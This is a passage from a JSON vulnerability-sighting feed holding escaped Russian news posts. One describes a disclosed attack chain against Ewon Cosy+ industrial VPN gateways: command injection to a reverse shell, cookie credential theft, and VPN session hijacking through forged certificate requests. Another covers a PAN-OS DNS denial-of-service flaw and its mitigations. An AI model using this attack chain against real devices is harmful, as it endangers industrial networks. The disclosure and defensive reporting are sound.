\u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509 VPN \u0434\u043b\u044f \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0438\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 VPN.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 VPN \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0438\u0441\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cosy+ \u0438 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c: CVE-2024-33892 - CVE-2024-33897 c CVSS \u043e\u0442 1.0 \u0434\u043e 7,4. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 DEF CON 32.\n\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 21.2s10 \u0438 22.1s3 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445\u00a0\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 Ewon 29 \u0438\u044e\u043b\u044f 2024 \u0433.\n\n\u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 Ewon Cosy+ \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 Talk2m \u0447\u0435\u0440\u0435\u0437 OpenVPN. \n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0448\u043b\u044e\u0437\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e VPN-\u0440\u0435\u043b\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 OpenVPN.\n\n\u041d\u0435\u043c\u0435\u0446\u043a\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0444\u0438\u043b\u044c\u0442\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 OpenVPN.\n\n\u0412\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438 \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 Base64 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0432\u0435\u0431-\u0441\u0435\u0430\u043d\u0441\u0430 \u0432 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 cookie \u0441 \u0438\u043c\u0435\u043d\u0435\u043c credentials, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438, \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043b\u044e\u0447\u0430\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u0434\u0432\u043e\u0438\u0447\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432.\n\n\u0421\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 Cosy+ \u0438 API Talk2m \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTPS \u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0437\u0430\u0438\u043c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 TLS (mTLS).\n\n\u0415\u0441\u043b\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e Cosy+ \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Talk2m, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 (CSR), \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0435\u0433\u043e \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0449\u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438 (CN), \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u0433\u043e \u0432 API Talk2m.\n\n\u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 API Talk2m \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OpenVPN.\n\n\u041e\u0434\u043d\u0430\u043a\u043e SySS \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e CSR \u0441 \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u043c \u043d\u043e\u043c\u0435\u0440\u043e\u043c \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u0446\u0438\u0438 \u0441\u0435\u0430\u043d\u0441\u0430 VPN.\n\n\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0441\u0435\u0430\u043d\u0441 VPN \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d, \u0438, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e.\n\n\u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Talk2m \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u0441\u044f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u041f\u041e VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 Ecatcher, \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a RDP \u0438\u043b\u0438 SMB \u043a\u043b\u0438\u0435\u043d\u0442\u0430-\u0436\u0435\u0440\u0442\u0432\u044b. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0443\u043d\u043d\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0431\u043b\u0430\u0433\u043e\u043f\u0440\u0438\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435.", "creation_timestamp": "2024-08-13T12:30:05.000000Z"}, {"uuid": "52ac6f0a-fbab-4dc5-b357-2abca94dc8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/true_secator/6591", "content": "\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 PAN-OS, \u0442\u043e \u0443 \u043d\u0430\u0441 \u0434\u043b\u044f \u0432\u0430\u0441 \u043f\u043b\u043e\u0445\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438.\n\nPalo Alto Networks \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u043b\u0438\u044f\u044e\u0449\u0443\u044e \u043d\u0430 \u041f\u041e PAN-OS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2024-3393 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 8.7 \u0438 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 PAN-OS 10.X \u0438 11.X, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 Prisma Access, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u0439 PAN-OS.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 PAN-OS 10.1.14-h8, 10.2.10-h12, 11.1.5, 11.2.3 \u0438 \u0432\u0441\u0435\u0445 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 PAN-OS.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 DNS \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f PAN-OS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u043f\u043b\u043e\u0441\u043a\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440.\n\n\u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0443\u0442 \u043a \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f.\n\n\u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0438 \u0435\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445, \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u0432\u0448\u0438\u0445\u0441\u044f \u0441 DoS-\u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u043a\u043e\u0433\u0434\u0430 \u0438\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 DNS-\u043f\u0430\u043a\u0435\u0442\u044b, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443. \u041f\u0440\u0430\u0432\u0434\u0430, \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442\u0441\u044f.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 DNS Security, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-3393.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u043d\u0438\u0436\u0430\u0435\u0442\u0441\u044f \u0434\u043e CVSS 7,1, \u043a\u043e\u0433\u0434\u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0447\u0435\u0440\u0435\u0437 Prisma Access.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 \u0438\u043b\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 Panorama, \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u043d\u0430 \u00ab\u043d\u0435\u0442\u00bb \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 DNS \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e\u00a0\u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e.\n\n\u0414\u043b\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 Strata Cloud Manager (SCM), \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u043b\u0438\u0431\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0448\u0430\u0433\u0438, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 DNS Security \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u043b\u0438\u0431\u043e \u043d\u0430 \u0432\u0441\u0435\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 - \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u0414\u043b\u044f \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u043e\u0432 Prisma Access, 